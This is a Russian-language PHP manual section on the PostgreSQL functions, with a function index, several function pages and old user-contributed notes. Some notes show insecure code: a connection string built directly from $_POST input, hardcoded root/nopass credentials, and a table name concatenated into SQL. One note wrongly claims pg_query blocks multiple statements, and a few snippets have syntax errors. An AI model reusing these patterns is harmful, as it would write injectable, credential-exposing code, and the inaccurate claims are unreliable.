echo "</table>\n";

// Очистка результата
pg_free_result($result);

// Закрытие соединения
pg_close($dbconn);
?>

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование

Эти примеры содержат пользовательские функции, аналогичные устаревшим функциям MySQL.

Пример #1 Пример использования пользовательских функций PostgreSQL

<?php
// Эта функция необходима, так как соединение PostgreSQL связывает базу данных.
function pg_list_dbs($db)
{
assert(is_resource($db));
$query = '
SELECT
d.datname as "Name",
u.usename as "Owner",
pg_encoding_to_char(d.encoding) as "Encoding"
FROM
pg_database d LEFT JOIN pg_user u ON d.datdba = u.usesysid
ORDER BY 1;
';
return pg_query($db, $query);
}

// Список таблиц.
function pg_list_tables($db)
{
assert(is_resource($db));
$query = "
SELECT
c.relname as \"Name\",
CASE c.relkind WHEN 'r' THEN 'table' WHEN 'v' THEN 'view' WHEN 'i' THEN 'index' WHEN 'S' THEN 'sequence' WHEN 's' THEN 'special' END as \"Type\",
u.usename as \"Owner\"
FROM
pg_class c LEFT JOIN pg_user u ON c.relowner = u.usesysid
WHERE
c.relkind IN ('r','v','S','')
AND c.relname !~ '^pg_'
ORDER BY 1;
";
return pg_query($db, $query);
}

// Смотрите также pg_meta_data(). Возвращает определение поля в виде массива.
function pg_list_fields($db, $table)
{
assert(is_resource($db));
$query = "
SELECT
a.attname,
format_type(a.atttypid, a.atttypmod),
a.attnotnull,
a.atthasdef,
a.attnum
FROM
pg_class c,
pg_attribute a
WHERE
c.relname = '".$table."'
AND a.attnum > 0 AND a.attrelid = c.oid
ORDER BY a.attnum;
";
return pg_query($db, $query);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Функции PostgreSQL

Примечания

Замечание:

Не все функции могут поддерживаться в собранном модуле. Это зависит от версии вашей libpq (клиентская библиотека PostgreSQL) и как libpq была собрана. Если модуль PostgreSQL для PHP отсутствует, то это значит, что версия вашей libpq не поддерживается.

Замечание:

Большинство функций PostgreSQL принимают connection в качестве первого необязательного параметра. Если параметр отсутствует, то используется последнее открытое соединение. Если же такого не существует, то функция возвращает false.

Замечание:

PostgreSQL автоматически переводит все идентификаторы (такие как имена таблиц/столбцов) в нижний регистр во время создания объекта и выполнения запроса. Для того, чтобы заставить использовать идентификаторы в обоих или только в верхнем регистрах, вы должны экранировать идентификатор с помощью двойных кавычек ("").

Замечание:

В PostgreSQL нет специальных команд для получения информации о схеме БД (к примеру, всех таблиц выбранной базы данных). Но вместо этого в версиях PostgreSQL 7.4 и выше существует стандартная схема, которая называется information_schema. Она содержит системные представления (view) со всей необходимой информацией в легкодоступной форме. Для дополнительной информации смотрите » документацию PostgreSQL

Содержание

  • pg_affected_rows — Возвращает количество затронутых запросом записей (кортежей)
  • pg_cancel_query — Остановка асинхронного запроса.
  • pg_client_encoding — Получение кодировки клиента.
  • pg_close — Закрывает соединение с базой данных PostgreSQL
  • pg_connect_poll — Опросить статус попытки асинхронного соединения PostgreSQL.
  • pg_connect — Открывает соединение с базой данных PostgreSQL
  • pg_connection_busy — Проверяет, занято ли соединение в данный момент.
  • pg_connection_reset — Сброс подключения (переподключение)
  • pg_connection_status — Определяет состояние подключения
  • pg_consume_input — Читает вводные данные на соединении
  • pg_convert — Преобразует значения ассоциативного массива в приемлемые для использования в SQL-запросах
  • pg_copy_from — Вставляет записи из массива в таблицу
  • pg_copy_to — Копирует данные из таблицы в массив
  • pg_dbname — Определяет имя базы данных
  • pg_delete — Удаляет записи
  • pg_end_copy — Синхронизирует с бэкендом PostgreSQL
  • pg_escape_bytea — Экранирует спецсимволы в строке для вставки в поле типа bytea
  • pg_escape_identifier — Экранирует идентификатор для вставки в текстовое поле
  • pg_escape_literal — Экранировать литерал при вставке в текстовое поле
  • pg_escape_string — Экранирование спецсимволов в строке запроса
  • pg_execute — Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат
  • pg_fetch_all_columns — Выбирает все записи из одной колонки результата запроса и помещает их в массив
  • pg_fetch_all — Выбирает все данные из результата запроса и помещает их в массив
  • pg_fetch_array — Возвращает строку результата в виде массива
  • pg_fetch_assoc — Выбирает строку результата запроса и помещает данные в ассоциативный массив
  • pg_fetch_object — Выбирает строку результата запроса и возвращает данные в виде объекта
  • pg_fetch_result — Возвращает запись из результата запроса
  • pg_fetch_row — Выбирает строку результата запроса и помещает данные в массив
  • pg_field_is_null — Проверка поля на значение SQL NULL
  • pg_field_name — Возвращает наименование поля
  • pg_field_num — Возвращает порядковый номер именованного поля
  • pg_field_prtlen — Возвращает количество печатаемых символов
  • pg_field_size — Возвращает размер поля
  • pg_field_table — Возвращает наименование или идентификатор таблицы, содержащей заданное поле
  • pg_field_type_oid — Возвращает идентификатор типа заданного поля
  • pg_field_type — Возвращает имя типа заданного поля
  • pg_flush — Сбросить данные исходящего запроса на соединении
  • pg_free_result — Очистка результата запроса и освобождение памяти
  • pg_get_notify — Получение SQL NOTIFY сообщения
  • pg_get_pid — Получает ID процесса сервера БД
  • pg_get_result — Получение результата асинхронного запроса
  • pg_host — Возвращает имя хоста, соответствующего подключению
  • pg_insert — Заносит данные из массива в таблицу базы данных
  • pg_last_error — Получает сообщение о последней произошедшей ошибке на соединении с базой данных
  • pg_last_notice — Возвращает последнее уведомление от сервера PostgreSQL
  • pg_last_oid — Возвращает OID последней добавленной в базу строки
  • pg_lo_close — Закрывает большой объект
  • pg_lo_create — Создаёт большой объект
  • pg_lo_export — Вывод большого объекта в файл
  • pg_lo_import — Импорт большого объекта из файла
  • pg_lo_open — Открывает большой объект базы данных
  • pg_lo_read_all — Читает содержимое большого объекта и посылает напрямую в браузер
  • pg_lo_read — Читает данные большого объекта
  • pg_lo_seek — Перемещает внутренний указатель большого объекта
  • pg_lo_tell — Возвращает текущее положение внутреннего указателя большого объекта
  • pg_lo_truncate — Обрезает большой объект
  • pg_lo_unlink — Удаление большого объекта
  • pg_lo_write — Записывает данные в большой объект
  • pg_meta_data — Получение метаданных таблицы
  • pg_num_fields — Возвращает количество полей в выборке
  • pg_num_rows — Возвращает количество строк в выборке
  • pg_options — Получение параметров соединения с сервером баз данных
  • pg_parameter_status — Просмотр текущих значений параметров сервера
  • pg_pconnect — Открывает постоянное соединение с сервером PostgreSQL
  • pg_ping — Проверка соединения с базой данных
  • pg_port — Возвращает номер порта, соответствующий заданному соединению
  • pg_prepare — Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения
  • pg_put_line — Передаёт на PostgreSQL сервер строку с завершающим нулём
  • pg_query_params — Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса
  • pg_query — Выполняет запрос
  • pg_result_error_field — Возвращает конкретное поле из отчёта об ошибках
  • pg_result_error — Возвращает сообщение об ошибке, связанное с запросом результата
  • pg_result_seek — Смещает указатель на строку выборки в экземпляре результата запроса
  • pg_result_status — Возвращает состояние результата запроса
  • pg_select — Выбирает записи из базы данных
  • pg_send_execute — Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата
  • pg_send_prepare — Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения
  • pg_send_query_params — Посылает параметризованный запрос на сервер, не ожидает возвращаемого результата
  • pg_send_query — Отправляет асинхронный запрос
  • pg_set_client_encoding — Устанавливает клиентскую кодировку
  • pg_set_error_context_visibility — Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error
  • pg_set_error_verbosity — Определяет объем текста сообщений, возвращаемых функциями pg_last_error и pg_result_error
  • pg_socket — Получить дескриптор только для чтения на сокет, лежащего в основе соединения PostgreSQL
  • pg_trace — Включает трассировку подключения PostgreSQL
  • pg_transaction_status — Возвращает текущее состояние транзакции на сервере
  • pg_tty — Возвращает имя терминала TTY, связанное с соединением
  • pg_unescape_bytea — Убирает экранирование двоичных данных типа bytea
  • pg_untrace — Отключает трассировку соединения с PostgreSQL
  • pg_update — Обновление данных в таблице
  • pg_version — Возвращает массив, содержащий версии клиента, протокола клиент-серверного взаимодействия и сервера (если доступно)

User Contributed Notes

Tony Murray 13-May-2012 09:52
A simple conversion for 1D PostgreSQL array data:

// =====
//Example #1 (An array of IP addresses):
<?php
  $pgsqlArr = '{192.168.1.1,10.1.1.1}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => 192.168.1.1
//    [1] => 10.1.1.1
// )
// =====

// =====
// Example #2 (An array of strings including spaces and commas):
<?php
  $pgsqlArr = '{string1,string2,"string,3","string 4"}';

  preg_match('/^{(.*)}$/', $pgsqlArr, $matches);
  $phpArr = str_getcsv($matches[1]);

  print_r($phpArr);
}
// Output:
// Array
// (
//    [0] => string1
//    [1] => string2
//    [2] => string,3
//    [3] => string 4
// )
// =====
16-Nov-2006 04:30
Chris KL: Will parse well {"\\"}? The second " will be treat as escaped while it shoudn't...
20-Oct-2006 10:10
Lots of advice on stored procedures didn't work for me.  This did:

<?php
$response = pg_query( $connection, "BEGIN; DECLARE s CURSOR FOR SELECT get_consumer('harry'); FETCH ALL IN s; END;" );
?>

..where harry looks like this:

CREATE OR REPLACE FUNCTION get_consumer( varchar )
RETURNS refcursor
AS '
DECLARE
  _name          ALIAS FOR $1;
  r              refcursor;
BEGIN
  OPEN r FOR SELECT name FROM consumer
  WHERE
    consumer.name = _name
  ;
  RETURN r;
END
' LANGUAGE 'plpgsql';
Chris KL 10-Nov-2005 05:17
Here is a better array parser for PHP.  It will work with 1-d arrays only.  Unlike the example below it will work in all cases.

    /**
     * Change a db array into a PHP array
     * @param $arr String representing the DB array
     * @return A PHP array
     */
    function phpArray($dbarr) {
        // Take off the first and last characters (the braces)
        $arr = substr($dbarr, 1, strlen($dbarr) - 2);

        // Pick out array entries by carefully parsing.  This is necessary in order
        // to cope with double quotes and commas, etc.
        $elements = array();
        $i = $j = 0;
        $in_quotes = false;
        while ($i < strlen($arr)) {
            // If current char is a double quote and it's not escaped, then
            // enter quoted bit
            $char = substr($arr, $i, 1);
            if ($char == '"' && ($i == 0 || substr($arr, $i - 1, 1) != '\\'))
                $in_quotes = !$in_quotes;
            elseif ($char == ',' && !$in_quotes) {
                // Add text so far to the array
                $elements[] = substr($arr, $j, $i - $j);
                $j = $i + 1;
            }
            $i++;
        }
        // Add final text to the array
        $elements[] = substr($arr, $j);

        // Do one further loop over the elements array to remote double quoting
        // and escaping of double quotes and backslashes
        for ($i = 0; $i < sizeof($elements); $i++) {
            $v = $elements[$i];
            if (strpos($v, '"') === 0) {
                $v = substr($v, 1, strlen($v) - 2);
                $v = str_replace('\\"', '"', $v);
                $v = str_replace('\\\\', '\\', $v);
                $elements[$i] = $v;
            }
        }

        return $elements;
    }
1413 at blargh dot com 11-Oct-2005 05:09
Here is some quick and dirty code to convert Postgres-returned arrays into PHP arrays.  There's probably a billion bugs, but since I'm only dealing with variable-depth-and-length arrays of integers, it works for my needs.

Most notably, any data that might have commas in it won't work right...

<?php
function PGArrayToPHPArray($pgArray)
{
  $ret = array();
  $stack = array(&$ret);
  $pgArray = substr($pgArray, 1, -1);
  $pgElements = explode(",", $pgArray);

  ArrayDump($pgElements);

  foreach($pgElements as $elem)
    {
      if(substr($elem,-1) == "}")
        {
          $elem = substr($elem,0,-1);
          $newSub = array();
          while(substr($elem,0,1) != "{")
            {
              $newSub[] = $elem;
              $elem = array_pop($ret);
            }
          $newSub[] = substr($elem,1);
          $ret[] = array_reverse($newSub);
        }
      else
        $ret[] = $elem;
    }
  return $ret;
}
?>
anis_wn at gawab dot com 05-Jun-2005 09:45
Setting up PostgreSQL for higher security PHP connection.

Case:
We want to connect to PostgreSQL database using username and password supplied by webuser at login time.

Fact (Linux):
Apache (perhaps other servers, too) running the server as (default to) apache user account. So if you connect to PostgreSQL using default user, apache will be assingned for it. If you hard code the user and password in your PHP script, you'll loose security restriction from PostgreSQL.

Solution:
(You are assumed to have enough privilege to do these things, though)
1. Edit pg_hba.conf to have the line like the one below
    host    db_Name    [web_server_ip_address] [ip_address_mask] md5
2. Add to you script the login page that submits username and password.
3. Use those information to login to PostgreSQL like these...
<?
    $conn = "host=$DBHost port=$DBPort dbname=$DBName ".
            "user='{$_POST['dbUsername']}' password='{$_POST['dbPassword']}'";
    $db = pg_connect ($conn);
[your other codes go here...]
?>
4. You must add users in PostgreSQL properly.
5. For your convenience, you can store the username and password to $_SESSION variable.

Good luck.
Anis WN
WillowCatkin at hotmail dot com 21-May-2005 06:43
There is an example:
<?php
/*
 * Define PostgreSQL database server connect parameters.
 */
define('PGHOST','10.0.0.218');
define('PGPORT',5432);
define('PGDATABASE','example');
define('PGUSER', 'root');
define('PGPASSWORD', 'nopass');
define('PGCLIENTENCODING','UNICODE');
define('ERROR_ON_CONNECT_FAILED','Sorry, can not connect the database server now!');

/*
 * Merge connect string and connect db server with default parameters.
 */
pg_pconnect('host=' . PGHOST . ' port=' . PGPORT . ' dbname=' . PGDATABASE . ' user=' . PGUSER . ' password=' . PGPASSWORD);

/*
 * generate sql statements to call db-server-side stored procedure(or function)
 * @parameter    string    $proc        stored procedure name.
 * @parameter    array    $paras        parameters, 2 dimensions array.
 * @return        string    $sql = 'select "proc"(para1,para2,para3);'
 * @example    pg_prepare('userExists',
 *                            array(
 *                                array('userName','chin','string'),
 *                                array('userId','7777','numeric')
 *                            )
 * )
 */
function pg_prepare($proc, $paras)
{
    $sql = 'select "' . $proc . '"(';
    $sql .= $paras[0][2] == 'numeric' ? $paras[0][1] : "'" . str_replace("'","''",$paras[0][1]) . "'";
    $len = count($paras);
    for ($i = 1; $i < $len; $i ++)
    {
        $sql .= ',';
        $sql .= $paras[$i][2] == 'numeric' ? $paras[$i][1] : "'" . str_replace("'","''",$paras[$i][1]) . "'";
    }
    $sql .= ');';
    return $sql;
}
?>
adaml at mimuw edu pl 02-Oct-2004 06:07
Yes, PHP does support stored procedures
You have to add "select" before the name of the
procedure, just like that:

$result = pg_querry($conn, "SELECT procedure_x($aa)");

if a procedure returns a cursor you do something like that:

$result = pg_query($conn, "SELECT procedure_x('rcursor'); FETCH ALL IN rcursor");
74012 dot 2773 at compuserve dot com 01-Jul-2004 09:35
for just a list of tables, this works with postgresql-7.2.1:

function pg_list_tables($db) {
    $sql = "select relname from pg_stat_user_tables order by relname;";
    return pg_query($db, $sql);
}
abondi at ijk dot it 26-May-2004 05:11
I've found another function to mimic the following mysql list tables function (http://www.php.net/manual/en/function.mysql-list-tables.php) that's more useful for my target:

function pg_list_tables() {
      $sql = "SELECT a.relname AS Name
          FROM pg_class a, pg_user b
          WHERE ( relkind = 'r') and relname !~ '^pg_' AND relname !~ '^sql_'
          AND relname !~ '^xin[vx][0-9]+' AND b.usesysid = a.relowner
          AND NOT (EXISTS (SELECT viewname FROM pg_views WHERE viewname=a.relname));";
      return(pg_query($conn, $sql));
}
daniel at bichara dot com dot br 30-Dec-2002 05:04
Running RedHat Linux and Apache with suexec enabled you must include pgsql.so on each .php file using dl("pgsql.so") and remove "extension=pgsql.so" from php.ini, otherwise Apache (httpd) will not start.
anonymous at unknown dot com 29-Nov-2002 09:50
I just wanted to add to my previous post I've got the system up and running.
Environment: Windows XP, Apache 1.3.23, Php 4.3 RC2, PostGreSQL beta4 native windows build

Installation was fairly easy:
1. read the readme.txt
2. edit the setenv.bat as described in readme
3. run 'initdb'
    all execs are in /bin
    help is accessed like <command> --help
4. Start the psql deamon - you may want to create a batch file like
    'D:\postgres_beta4\bin\postmaster -h localhost -D D:/postgres_beta4/data'

    --deamon should be up and running now--

You can login into a shell from a console like
    'psql -h localhost -d <username>'

You must load the postgresql extension by editing the php.ini and restarting apache in order to access psql with php.

And one final not: when running
    $dbconn = pg_connect ("host=localhost port=5432 dbname=$dbname user=$user");
remember that $user and or $dbname is CASESENSITIVE.

Oh yeah, I created the data dir manually - don't know whether that was necessary

Grtz Vargo
mystran at wasteland dot pp dot htv dot fi 03-Feb-2002 07:46
Nice to know fact that I didn't find documented here.

PHP will return values of PostgreSQL boolean datatype as single character strings "t" and "f", not PHP true and false.

[Editor's Note]
't' or 'f' is valid boolean expression for PostgreSQL.

All values from PostgreSQL are strings, since PostgreSQL integer, float may be much larger than PHP's native int, double can handle. PostgreSQL array is not supported.
saberit at home dot com 15-Sep-2001 02:11
I tried compiling PHP from source with PostgreSQL support (./configure --with-pgsql=/usr/local/pgsql) and ran into a bunch of problems when trying to 'make'. The problem was that some of the PostgreSQL headers were not installed by default when I installed PostgreSQL from source. When installing PostgreSQL make sure you 'make install-all-headers' after you 'make install'.
hubert at hubertmuller dot com 09-Jul-2001 04:36
The best way to find the separated list of tables, sequences, keys etc is:

SELECT relname FROM pg_class WHERE relkind='<value>' AND relname !~ '^pg_';

<value> takes:
i for keys,
r for relations,
S for sequences

Note that all tables names that begins with 'pg_' are PostgreSQL internal tables (this explain why I use AND relname !~ '^pg_' condition).
passion at monkey dot org 27-Jun-2001 06:53
I've tried to mimic the following mysql database connection functions for postgres.
http://www.php.net/manual/en/function.mysql-list-dbs.php
http://www.php.net/manual/en/function.mysql-list-tables.php

These are assuming that you're passing in $link as the result from pg_connect:

function pg_list_dbs($link)
{
    $sql = 'SELECT datname FROM pg_database';
    return (pg_query($link, $sql));
}

function pg_list_tables($link)
{
    $sql = "SELECT relname FROM pg_class WHERE relname !~ '^pg_'";
    return (pg_query($link, $sql));
}
!spamcraig at ahdore dot com 15-Apr-2001 01:11
If you want to extract data from select statements, you need to store the result index, and then apply pg_result to that value. Basically, do this

$resultIdx = pg_query ($database, "select * from tablename");
$mySelect = pg_fetch_result($resultIdx, 0, 0);  // gets column 0 of tuple 0
echo("My select: [".$mySelect."]");

I'm new to php and had to do some fiddling around to work this out. It's reasonably elementary, but not demonstrated by the examples on these pages. Hopefully it will come in useful to someone else.
bleach at chek dot com 02-Mar-2000 12:36
If you want to see all the objects in a database, you can find that information in the pg_class table. <BR>
SELECT * FROM pg_class;<BR>
Now this is going to be kind of long and complex, to see how psql command handles the \d and other things. use the syntax.  psql -E <Database>, ie psql -E mydatabase <BR>
What this will do is show the SQL command used for everything. So when you type a \d or something, it shows the SQL query used for the result.


Возвращает количество затронутых запросом записей (кортежей)

  • « Функции PostgreSQL
  • pg_cancel_query »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает количество затронутых запросом записей (кортежей)

pg_affected_rows

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_affected_rows — Возвращает количество затронутых запросом записей (кортежей)

Описание

pg_affected_rows(PgSql\Result $result): int

pg_affected_rows() возвращает количество кортежей (сущностей/записей/рядов) затронутых запросом INSERT, UPDATE, и DELETE queries.

С версии PostgreSQL 9.0 и новее, сервер возвращает число выбранных рядов для запроса SELECT. Более старые версии возвращают 0 для SELECT.

Замечание:

Ранее данная функция называлась pg_cmdtuples().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

Возвращаемые значения

Количество записей, затронутых запросом. Если ни один кортеж не был затронут, функция вернёт 0.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_affected_rows()

<?php
$result = pg_query($conn, "INSERT INTO authors VALUES ('Orwell', 2002, 'Animal Farm')");

$cmdtuples = pg_affected_rows($result);

echo $cmdtuples . " кортежей затронуто.\n";
?>

Результат выполнения данного примера:

1 кортежей затронуто.

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_query_params() - Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса
  • pg_execute() - Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат
  • pg_num_rows() - Возвращает количество строк в выборке

User Contributed Notes

Anonymous 20-Dec-2007 03:02
There is something called auto-commit, when you supply more than one query delimited by ; semicolon all-or-none is done if one fails. No need for BEGIN;COMMIT;ROLLBACK when doing one query. its logic to mee pg_affected_rows() returns affected rows and if you want to do 2 queries apart from each other.. do a BEGIN and then 1 and get pg_affected_rows() then do 2 and get pg_affected_rows() and then finally do COMMIT;
Anonymous 14-Nov-2007 07:45
pg-affected-rows () only runs on the LAST SQL STATEMENT executed.  If you compound several statements together then pg_affected_rows might not return what you expect.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\'; COMMIT');

echo (pg_affected_rows ($result));

?>

will cause 0 to be printed, because the last statement executed by Postgres was COMMIT, which doesn't affect any rows.

I haven't tried this so am not certain it works, but you SHOULD be able to get the row counts you want if you split your queries up.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\';');

echo (pg_affected_rows ($result));

pg_query ('COMMIT;');
?>

should allow you to get the number of rows affected by the previous query.  I haven't tried this yet though, so don't count on it.
05-Aug-2005 03:31
That's not quite true, I've been able to execute multiple queries in a single call just fine. In stead, it has to do with the fact this function returns the affected rows for the last executed query, not the last set of queries specified to a single call to pg_query.
29-Jun-2005 06:15
Concering Bruno Baguette's note:

The pg_query function only allows one query per function call.  When you do your
$sql="BEGIN;
INSERT ...
COMMIT;";
$result=pg_query($conn,$sql);
echo pg_affected_rows($result);

you get a zero, because only the BEGIN; is executed.

The single query per call is, I beleive, a PHP builtin protection against SQL injection attacks.  (Ie someone submitting a string paramter that ends the current query and appends another one)
Bruno Baguette 28-Jun-2005 01:45
Note that when you submit several SQL queries, within one BEGIN;COMMIT; like this one :

$SQLQuery = 'BEGIN;';
$SQLQuery.= 'INSERT INTO a (a,b) VALUES (1,2);';
$SQLQuery.= 'INSERT INTO b (ref_b,c) VALUES (2,5);';
$SQLQuery.= 'COMMIT;';

$HandleResults = pg_query($SQLQuery);
echo(pg_affected_rows($HandleResults));

pg_affected_rows() will return 0


Остановка асинхронного запроса.

  • « pg_affected_rows
  • pg_client_encoding »
  • PHP Manual
  • Функции PostgreSQL
  • Остановка асинхронного запроса.

pg_cancel_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_cancel_query — Остановка асинхронного запроса.

Описание

pg_cancel_query(PgSql\Connection $connection): bool

pg_cancel_query() отменяет выполнение асинхронного запроса, отправленного функциями pg_send_query(), pg_send_query_params() или pg_send_execute(). Невозможно завершить выполнение запроса, запущенное функцией pg_query().

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_cancel_query()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Не удалось соединиться");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
}

$res1 = pg_get_result($dbconn);
echo "Первый запрос к pg_get_result(): $res1\n";
$rows1 = pg_num_rows($res1);
echo "$res1 получил $rows1 записей\n\n";

// Остановка выполняющегося в данный момент запроса.
// Последует второй запрос, если, конечно, он ещё выполняется.
pg_cancel_query($dbconn);
?>

Результат выполнения данного примера:

Первый запрос к pg_get_result(): Resource id #3
Resource id #3 получил 3 записей

Смотрите также

  • pg_send_query() - Отправляет асинхронный запрос
  • pg_connection_busy() - Проверяет, занято ли соединение в данный момент.

User Contributed Notes

There are no user contributed notes for this page.


Получение кодировки клиента.

  • « pg_cancel_query
  • pg_close »
  • PHP Manual
  • Функции PostgreSQL
  • Получение кодировки клиента.

pg_client_encoding

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_client_encoding — Получение кодировки клиента.

Описание

pg_client_encoding(?PgSql\Connection $connection = null): string

PostgreSQL поддерживает автоматическое преобразование наборов символов между сервером и клиентом для некоторых кодировок. pg_client_encoding() возвращает клиентскую кодировку в виде строки, представляющей собой стандартный идентификатор кодировки PostgreSQL.

Замечание:

Для работы функции требуется PostgreSQL версии 7.0 или выше. В случае, если libpg скомпилирована без поддержки многобайтовых кодировок, pg_client_encoding() всегда возвращает SQL_ASCII. Набор поддерживаемых кодировок зависит от версии сервера БД и описан в документации PostgreSQL.

Функция, используемая для вызова: pg_clientencoding().

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Клиентская кодировка.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_client_encoding()

<?php
// Допустим, что $conn - соединение с базой данных, поддерживающей стандарт ISO-8859-1
$encoding = pg_client_encoding($conn);

echo "Кодировка клиента: ", $encoding, "\n";
?>

Результат выполнения данного примера:

Кодировка клиента: ISO-8859-1

Смотрите также

  • pg_set_client_encoding() - Устанавливает клиентскую кодировку

User Contributed Notes

There are no user contributed notes for this page.


Закрывает соединение с базой данных PostgreSQL

  • « pg_client_encoding
  • pg_connect_poll »
  • PHP Manual
  • Функции PostgreSQL
  • Закрывает соединение с базой данных PostgreSQL

pg_close

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_close — Закрывает соединение с базой данных PostgreSQL

Описание

pg_close(?PgSql\Connection $connection = null): true

pg_close() закрывает обычное (непостоянное) соединение с базой данных PostgreSQL, соответствующее экземпляру connection.

Замечание:

Использование pg_close(), как правило, необязательно, так как непостоянные соединения закрываются автоматически при завершении работы скрипта.

Если с соединением работают экземпляры PgSql\Lob, то перед закрытием соединения необходимо закрыть все экземпляры PgSql\Lob.

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_close()

<?php
$dbconn = pg_connect("host=localhost port=5432 dbname=mary")
or die("Невозможно подключиться к БД");
echo "Успешно подключено к БД";
pg_close($dbconn);
?>

Результат выполнения данного примера:

Успешно подключено к БД

Смотрите также

  • pg_connect() - Открывает соединение с базой данных PostgreSQL

User Contributed Notes

amays 15-Nov-2005 03:47
pg_close(...) will not technically close a persistent connection but instead returns it back to the connection pool thus giving you the desired effect of having the connection closed within your script.

http://www.sitepoint.com/article/accessing-postgresql-php/3

best wishes to all.
mark at redbrick dot dcu dot ie 24-Mar-2003 06:31
This function closes the current database connection specified by a handle returned from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }

    // Do database stuff here.

    if(!pg_close($pgsql_conn)) {
        print "Failed to close connection to " . pg_host($pgsql_conn) . ": " .
       pg_last_error($pgsql_conn) . "<br/>\n";
    } else {
        print "Successfully disconnected from database";
    }
?>

Of course you normally wouldn't print a message.

Regards, --mark


Опросить статус попытки асинхронного соединения PostgreSQL.

  • « pg_close
  • pg_connect »
  • PHP Manual
  • Функции PostgreSQL
  • Опросить статус попытки асинхронного соединения PostgreSQL.

pg_connect_poll

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_connect_poll — Опросить статус попытки асинхронного соединения PostgreSQL.

Описание

pg_connect_poll(PgSql\Connection $connection): int

pg_connect_poll() опрашивает статус соединения PostgreSQL, созданного вызовом функции pg_connect() с параметром PGSQL_CONNECT_ASYNC.

Список параметров

connection

Экземпляр PgSql\Connection.

Возвращаемые значения

Возвращает PGSQL_POLLING_FAILED, PGSQL_POLLING_READING, PGSQL_POLLING_WRITING, PGSQL_POLLING_OK или PGSQL_POLLING_ACTIVE.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

User Contributed Notes

VLroyrenn 30-Jan-2019 05:31
So the documentation on this function is pretty barebones (as is the case for a lot of thin PHP wrappers around C functions), but from what I've gathered by reading the libpq doc and trying various things, you should probably know the following :

* Polling the connection while the underlying socket is busy will cause the connection (or at least the polling, I'm not sure) to fail.
* As stated by the libpq documentation, "do not assume that the socket remains the same across PQconnectPoll calls"
* The socket will become ready after every change in connection status, so the connection must be polled multiple times until the function returns "polling_ok" or "polling_failed".
* "polling_active" can never be returned by libpq and has literally never been used anywhere ever, it has been an unused constant since day 1.

What you need to do is use pg_socket get a PHP stream object corresponding to the current socket and wait after it before polling, like so:

<?php
function pg_wait_connection_ready($conn) {
    assert(is_resource($conn));
    assert(get_resource_type($conn) === "pgsql link" || get_resource_type($conn) === "pgsql link persistent");

    // "On the first iteration, i.e. if you have yet to call PQconnectPoll, behave as if it last returned PGRES_POLLING_WRITING."
    $poll_outcome = PGSQL_POLLING_WRITING;

    while (true) {
        $socket = [pg_socket($conn)]; // "Caution: do not assume that the socket remains the same across PQconnectPoll calls."
        $null = [];

        if ($poll_outcome === PGSQL_POLLING_READING) {
            stream_select($socket, $null, $null, 5);
            $poll_outcome = pg_connect_poll($conn);
        } else if ($poll_outcome === PGSQL_POLLING_WRITING) {
            stream_select($null, $socket, $null, 5);
            $poll_outcome = pg_connect_poll($conn);
        } else {
            break;
        }
    }
}

$db = pg_connect($conn_string, PGSQL_CONNECT_ASYNC);
// Do things while the connection is getting ready
pg_wait_connection_ready($db);
pg_query($sql);
?>


Открывает соединение с базой данных PostgreSQL

